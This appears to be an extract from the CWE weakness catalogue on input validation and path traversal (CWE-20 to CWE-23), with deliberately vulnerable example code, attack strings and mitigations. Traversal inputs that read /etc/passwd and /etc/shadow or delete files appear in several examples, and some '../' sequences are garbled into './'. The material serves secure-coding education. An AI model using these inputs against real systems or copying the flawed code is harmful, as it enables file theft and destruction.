**Automated Static Analysis - Source Code**

SOAR High

According to SOAR, the following detection techniques may be useful:

- Highly cost effective:
  - Source code Weakness Analyzer
  - Context-configured Source Code Weakness Analyzer
Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
- Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
- Attack Modeling

Demonstrative Examples
Example 1:
This example demonstrates a shopping interaction in which the user is free to specify the quantity
of items to be purchased and a total is calculated.
Java Example:

```java
public static final double price = 20.00;
int quantity = currentUser.getAttribute("quantity");
double total = price * quantity;
chargeUser(total);
```

The user has no control over the price variable, however the code does not prevent a negative
value from being specified for quantity. If an attacker were to provide a negative value, then the
user would have their account credited instead of debited.

Example 2:
This example asks the user for a height and width of an m X n game board with a maximum
dimension of 100 squares.
C Example:

```c
#define MAX_DIM 100

/* board dimensions */
int m,n, error;
board_square_t *board;
printf("Please specify the board height: \n");
error = scanf("%d", &m);
if ( EOF == error ){
  die("No integer passed: Die evil hacker!\n");
}
printf("Please specify the board width: \n");
error = scanf("%d", &n);
if ( EOF == error ){
  die("No integer passed: Die evil hacker!\n");
}
if ( m > MAX_DIM || n > MAX_DIM ) {
  die("Value too large: Die evil hacker!\n");
}
board = (board_square_t*) malloc( m * n * sizeof(board_square_t));
```

While this code checks to make sure the user cannot specify large, positive integers and consume
too much memory, it does not check for negative values supplied by the user. As a result, an
attacker can perform a resource consumption (CWE-400) attack against this program by specifying
two, large negative values that will not overflow, resulting in a very large memory allocation
(CWE-789) and possibly a system crash. Alternatively, an attacker can provide very large negative
values which will cause an integer overflow (CWE-190) and unexpected behavior will follow
depending on how the values are treated in the remainder of the program.

Example 3:
The following example shows a PHP application in which the programmer attempts to display a
user's birthday and homepage.
PHP Example:

```php
$birthday = $_GET['birthday'];
$homepage = $_GET['homepage'];
echo "Birthday: $birthday<br>Homepage: <a href=$homepage>click here</a>"
```

The programmer intended for $birthday to be in a date format and $homepage to be a valid URL. However, since the values are derived from an HTTP request, if an attacker can trick a victim into clicking a crafted URL with `<script>` tags providing the values for birthday and/or homepage, then the script will run on the client's browser when the web server echoes the content. Notice that even if the programmer were to defend the $birthday variable by restricting input to integers and dashes, it would still be possible for an attacker to provide a string of the form:

```
Attack
2009-01-09--
```

If this data were used in a SQL statement, it would treat the remainder of the statement as a comment. The comment could disable other security-related logic in the statement. In this case, encoding combined with input validation would be a more useful protection mechanism. Furthermore, an XSS (CWE-79) attack or SQL injection (CWE-89) are just a few of the potential consequences when input validation is not used. Depending on the context of the code, CRLF Injection (CWE-93), Argument Injection (CWE-88), or Command Injection (CWE-77) may also be possible.

**Example 4:**

This function attempts to extract a pair of numbers from a user-supplied string.

**C Example:**

```c
void parse_data(char *untrusted_input){
    int m, n, error;
    error = sscanf(untrusted_input, "%d:%d", &m, &n);
    if ( EOF == error ){
        die("Did not specify integer value. Die evil hacker!
    } /* proceed assuming n and m are initialized correctly */
}
```

This code attempts to extract two integer values out of a formatted, user-supplied input. However, if an attacker were to provide an input of the form:

```
123:
```

then only the m variable will be initialized. Subsequent use of n may result in the use of an uninitialized variable (CWE-457).

**Example 5:**

The following example takes a user-supplied value to allocate an array of objects and then operates on the array.

**Java Example:**

```java
private void buildList ( int untrustedListSize ){
    if ( 0 > untrustedListSize ){
        die("Negative value supplied for list size, die evil hacker!");
    }
    Widget[] list = new Widget [ untrustedListSize ];
    list[0] = new Widget();
}
```

This example attempts to build a list from a user-specified value, and even checks to ensure a non-negative value is supplied. If, however, a 0 value is provided, the code will build an array of size 0 and then try to store a new Widget in the first location, causing an exception to be thrown.

**Example 6:**

This application has registered to handle a URL when sent an intent:
Java Example:

```java
... IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL"); MyReceiver receiver = new MyReceiver(); registerReceiver(receiver, filter);
...

public class UrlHandlerReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if("com.example.URLHandler.openURL".equals(intent.getAction())) {
            String URL = intent.getStringExtra("URLToOpen");
            int length = URL.length();
            ...
        }
    }
}
```

The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.

</tbody>
</table>

Potential Mitigations
Architecture and Design
Input Validation
Libraries or Frameworks
Use an input validation framework such as Struts or the OWASP ESAPI Validation API. If you use Struts, be mindful of weaknesses covered by the CWE-101 category.

Architecture and Design
Implementation
Identify and Reduce Attack Surface
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumerical characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

Implementation
When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.

Implementation
Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.
Implementation

Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.

Implementation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.

Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.

Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

### Relationship Notes

CWE-116 and CWE-20 have a close association because, depending on the nature of the structured message, proper input validation can indirectly prevent special characters from changing the meaning of a structured message. For example, by validating that a numeric ID field should only contain the 0-9 characters, the programmer effectively prevents injection attacks. However, input validation is not always sufficient, especially when less stringent data types must be supported, such as free-form text. Consider a SQL injection scenario in which a last name is inserted into a query. The name “O’Reilly” would likely pass the validation step since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the ‘’ apostrophe character, which would need to be escaped or otherwise neutralized. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.

### Research Gaps

There is not much research into the classification of input validation techniques and their application. Many publicly-disclosed vulnerabilities simply characterize a problem as "input validation" without providing more specific details that might contribute to a deeper understanding of validation techniques and the weaknesses they can prevent or reduce. Validation is over-emphasized in contrast to other neutralization techniques such as filtering and enforcement by conversion. See the vulnerability theory paper.

### References

### Maintenance Notes
Input validation - whether missing or incorrect - is such an essential and widespread part of secure development that it is implicit in many different weaknesses. Traditionally, problems such as buffer overflows and XSS have been classified as input validation problems by many security professionals. However, input validation is not necessarily the only protection mechanism available for avoiding such problems, and in some cases it is not even sufficient. The CWE team has begun capturing these subtleties in chains within the Research Concepts view (CWE-1000), but more work is needed.

CWE-21: Pathname Traversal and Equivalence Errors

**Category ID:** 21 (Category)  
**Status:** Incomplete

**Description**

**Summary**
Weaknesses in this category can be used to access files outside of a restricted directory (path traversal) or to perform operations on files that would otherwise be restricted (path equivalence).

**Extended Description**
Files, directories, and folders are so central to information technology that many different weaknesses and variants have been discovered. The manipulations generally involve special characters or sequences in pathnames, or the use of alternate references or channels.

**Applicable Platforms**

**Languages**
- All

**Potential Mitigations**

**Implementation**

**Input Validation**
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "./" sequences are removed from the "/./.../" string in a sequential fashion, two instances of "./" would be removed from the original string, but the remaining characters would still form the "./" string.

**CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')**

**Weakness ID:** 22 *(Weakness Class)*  
**Status:** Draft

**Description**

**Summary**
The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

**Extended Description**
Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "./" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin", which may also be useful in accessing unexpected files. This is referred to as absolute path traversal.

In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to widen the scope of attack. For example, the software may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.

**Alternate Terms**
Directory traversal
Path traversal

"Path traversal" is preferred over "directory traversal," but both terms are attack-focused.

**Terminology Notes**
Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of ".." and equivalent sequences whose specific meaning is to traverse directories.

Other variants like "absolute pathname" and "drive letter" have the "effect" of directory traversal, but some people may not call it such, since it doesn't involve ".." or equivalent.

**Time of Introduction**
- Architecture and Design
- Implementation
Applicable Platforms
Languages
  • Language-independent

Common Consequences
  Integrity
  Confidentiality
  Availability

Execute unauthorized code or commands
The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.

Integrity
Modify files or directories
The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.

Confidentiality
Read files or directories
The attacker may be able to read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.

Availability
DoS: crash / exit / restart
The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the software from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the software.

Likelihood of Exploit
High to Very High

Detection Methods
Automated Static Analysis
High
Automated techniques can find areas where path traversal weaknesses exist. However, tuning or customization may be required to remove or de-prioritize path-traversal problems that are only exploitable by the software’s administrator - or other privileged users - and thus potentially valid behavior or, at worst, a bug instead of a vulnerability.

Manual Static Analysis
High
Manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all file access operations can be assessed within limited time constraints.

Automated Static Analysis - Binary / Bytecode
SOAR High
According to SOAR, the following detection techniques may be useful:
  • Highly cost effective:
    • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Cost effective for partial coverage:
    • Binary Weakness Analysis - including disassembler + source code weakness analysis

Manual Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
  • Cost effective for partial coverage:
    • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Dynamic Analysis with automated results interpretation
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
  Web Application Scanner
  Web Services Scanner
  Database Scanners

Dynamic Analysis with manual results interpretation
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
  Fuzz Tester
  Framework-based Fuzzer

Manual Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
  Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  Focused Manual Spotcheck - Focused manual analysis of source

Automated Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
  Source code Weakness Analyzer
  Context-configured Source Code Weakness Analyzer

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
  Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples

Example 1:
The following code could be for a social networking application in which each user’s profile information is stored in a separate file. All files are stored in a single directory.

Perl Example:

```perl
my $dataPath = "/users/cwe/profiles";
my $username = param("user");
my $profilePath = $dataPath . "/" . $username;
open(my $fh, "<$profilePath") || ExitError("profile read error: $profilePath");
print "<ul>
";
while (<$fh>) {
    print "<li>$_</li>
";
}
print "</ul>
```

While the programmer intends to access files such as "/users/cwe/profiles/alice" or "/users/cwe/profiles/bob", there is no verification of the incoming user parameter. An attacker could provide a string such as:

```
 ../../../etc/passwd
```
The program would generate a profile pathname like this:

```
/users/cwe/profiles/../../../etc/passwd
```

When the file is opened, the operating system resolves the "./" during path canonicalization and actually accesses this file:

```
/etc/passwd
```

As a result, the attacker could read the entire text of the password file.

Notice how this code also contains an error message information leak (CWE-209) if the user parameter does not produce a file that exists: the full pathname is provided. Because of the lack of output encoding of the file that is retrieved, there might also be a cross-site scripting problem (CWE-79) if profile contains any HTML, but other code would need to be examined.

**Example 2:**
In the example below, the path to a dictionary file is read from a system property and used to initialize a File object.

**Java Example:**

```java
Bad Code
String filename = System.getProperty("com.domain.application.dictionaryFile");
File dictionaryFile = new File(filename);
```

However, the path is not validated or modified to prevent it from containing relative or absolute path sequences before creating the File object. This allows anyone who can control the system property to determine what file is used. Ideally, the path should be resolved relative to some kind of application or user home directory.

**Example 3:**
The following code takes untrusted input and uses a regular expression to filter "./" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

**Perl Example:**

```perl
Bad Code
my $Username = GetUntrustedInput();
$Username =~ s/\./\//g;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "./" it comes across. So an input value such as:

```
../../../etc/passwd
```

will have the first "./" stripped, resulting in:

```
../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the "./" sequences in the pathname. This leads to relative path traversal (CWE-23).

**Example 4:**
The following code attempts to validate a given input path by checking it against a whitelist and once validated delete the given file. In this specific case, the path is considered valid if it starts with the string "/safe_dir/".
Java Example:

```java
String path = getInputPath();
if (path.startsWith("/safe_dir/"))
{
    File f = new File(path);
    f.delete();
}
```

An attacker could provide an input such as this:

```
/safe_dir/../../../../important.dat
```

The software assumes that the path is valid because it starts with the "/safe_dir/" sequence, but the "../" sequence will cause the program to delete the important.dat file in the parent directory.

**Example 5:**

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The HTML code is the same as in the previous example with the action attribute of the form sending the upload file request to the Java servlet instead of the PHP code.

**HTML Example:**

```html
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
    Choose a file to upload:
    <input type="file" name="filename"/>
    <br/>
    <input type="submit" name="submit" value="Submit"/>
</form>
```

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

Java Example:

```java
public class FileUploadServlet extends HttpServlet {
    ... 
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        String contentType = request.getContentType();
        // the starting position of the boundary header
        int ind = contentType.indexOf("boundary=");
        String boundary = contentType.substring(ind+9);
        String pLine = new String();
        String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value
        // verify that content type is multipart form data
        if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
            // extract the filename from the Http header
            BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
            ... 
            pLine = br.readLine();
            String filename = pLine.substring(pLine.lastIndexOf("\"), pLine.lastIndexOf("\"));
            ...
            // output the file to the local upload directory
            try {
                BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
                for (String line; (line=br.readLine())!=null; ) {
                    if (line.indexOf(boundary) == -1) {
                        bw.write(line);
                        bw.newLine();
                        bw.flush();
                    }
                }
            } //end of for loop
            bw.close();
        } catch (IOException ex) { ... }
    }
```
This code does not check the filename that is provided in the header, so an attacker can use "../" sequences to write to files outside of the intended directory. Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash. Also, this code does not perform a check on the type of the file being uploaded. This could allow an attacker to upload any executable file or other file with malicious code (CWE-434).

### Potential Mitigations
Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumerical characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.
Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if ".//" sequences are removed from the ".../.../\" string in a sequential fashion, two instances of ".//" would be removed from the original string, but the remaining characters would still form the ".//" string.

Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Implementation
Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.
Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes "." sequences and symbolic links (CWE-23, CWE-59). This includes:
realpath() in C
getCanonicalPath() in Java
GetFullPath() in ASP.NET
realpath() or abs_path() in Perl
realpath() in PHP

Architecture and Design
Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
Operation
Firewall
Moderate
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Architecture and Design
Operation
Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.22.5]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Architecture and Design
Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [R.22.3] provide this capability.

Architecture and Design
Operation
Sandbox or Jail
Limited
Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.
Architecture and Design

Operation

Identify and Reduce Attack Surface

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server’s access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.

This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success.

If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.

Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Resultant (where the weakness is typically related to the presence of some other weaknesses)

</table>
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Relationship Notes
Pathname equivalence can be regarded as a type of canonicalization error.
Some pathname equivalence issues are not directly related to directory traversal, rather are used
to bypass security-relevant checks for whether a file/directory can be accessed by the attacker
(e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a
server to provide the file when it normally would not).

Research Gaps
Many variants of path traversal attacks are probably under-studied with respect to root cause.
CWE-790 and CWE-182 begin to cover part of this gap.
Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is
affected. For example, a researcher might say that ".\.." is vulnerable, but not test "/\.." which may
also be vulnerable.
Any combination of directory separators ("/", ",", etc.) and numbers of "." (e.g. "....") can produce
unique variants; for example, the "/\..\.." variant is not listed (CVE-2004-0325). See this entry's
children and lower-level descendants.

126      | Path Traversal
213      | DEPRECATED: Directory Traversal

References
CWE-23: Relative Path Traversal

**Description**

**Summary**
The software uses external input to construct a pathname that should be within a restricted
directory, but it does not properly neutralize sequences such as ". . ." that can resolve to a location
that is outside of that directory.

**Extended Description**
This allows attackers to traverse the file system to access files or directories that are outside of
the restricted directory.

**Time of Introduction**
- Implementation

**Applicable Platforms**

**Languages**
- All

**Common Consequences**

**Integrity**
**Confidentiality**
**Availability**

**Execute unauthorized code or commands**
The attacker may be able to create or overwrite critical files that are used to execute code, such
as programs or libraries.

**Integrity**
**Modify files or directories**
The attacker may be able to overwrite or create critical files, such as programs, libraries, or
important data. If the targeted file is used for a security mechanism, then the attacker may be able
to bypass that mechanism. For example, appending a new account at the end of a password file
may allow an attacker to bypass authentication.

**Confidentiality**
**Read files or directories**
The attacker may be able to read the contents of unexpected files and expose sensitive data. If
the targeted file is used for a security mechanism, then the attacker may be able to bypass that
mechanism. For example, by reading a password file, the attacker could conduct brute force
password guessing attacks in order to break into an account on the system.

**Availability**
**DoS: crash / exit / restart**
The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as
programs, libraries, or important data. This may prevent the software from working at all and in
the case of a protection mechanisms such as authentication, it has the potential to lockout every
user of the software.

**Demonstrative Examples**

Example 1:
The following URLs are vulnerable to this attack:

A simple way to execute this attack is like this:

- http://example.com.br/../../../../etc/shadow
- http://example.com.br/get-files?file=../../../../etc/passwd

Example 2:
The following code could be for a social networking application in which each user’s profile information is stored in a separate file. All files are stored in a single directory.

Perl Example:

```perl
my $dataPath = "/users/cwe/profiles";
my $username = param("user");
my $profilePath = $dataPath . "/" . $username;
open(my $fh, "<$profilePath") || ExitError("profile read error: $profilePath");
print "<ul>
";
while (<$fh>) {
    print "<li>$_</li>
";
}
print "</ul>
```

While the programmer intends to access files such as "/users/cwe/profiles/alice" or "/users/cwe/profiles/bob", there is no verification of the incoming user parameter. An attacker could provide a string such as:

```
../../../etc/passwd
```

The program would generate a profile pathname like this:

```
/users/cwe/profiles/../../../etc/passwd
```

When the file is opened, the operating system resolves the "../../../" during path canonicalization and actually accesses this file:

```
/etc/passwd
```

As a result, the attacker could read the entire text of the password file.

Notice how this code also contains an error message information leak (CWE-209) if the user parameter does not produce a file that exists: the full pathname is provided. Because of the lack of output encoding of the file that is retrieved, there might also be a cross-site scripting problem (CWE-79) if profile contains any HTML, but other code would need to be examined.

Example 3:
The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet.

HTML Example:

```html
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
    Choose a file to upload:
    <input type="file" name="filename"/>
    <br/>
    <input type="submit" name="submit" value="Submit"/>
</form>
```
When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

**Java Example:**

```java
public class FileUploadServlet extends HttpServlet {

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    response.setContentType("text/html");
    PrintWriter out = response.getWriter();
    String contentType = request.getContentType();
    // the starting position of the boundary header
    int ind = contentType.indexOf("boundary=");
    String boundary = contentType.substring(ind+9);
    String pLine = new String();
    String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value
    // verify that content type is multipart form data
    if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
        // extract the filename from the Http header
        BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
        ...pLine = br.readLine();
        String filename = pLine.substring(pLine.lastIndexOf("\"), pLine.lastIndexOf("\"));
        ...// output the file to the local upload directory
        try {
            BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
            for (String line; (line=br.readLine())!=null; ) {
                if (line.indexOf(boundary) == -1) {
                    bw.write(line);
                    bw.newLine();
                    bw.flush();
                }
            }
            bw.close();
        } catch (IOException ex) {...}
        // output successful upload response HTML page
    }
    // output unsuccessful upload response HTML page
    else {
    }
}
```

As with the previous example this code does not perform a check on the type of the file being uploaded. This could allow an attacker to upload any executable file or other file with malicious code.

Additionally, the creation of the BufferedWriter object is subject to relative path traversal (CWE-22, CWE-23). Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

**Potential Mitigations**
Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

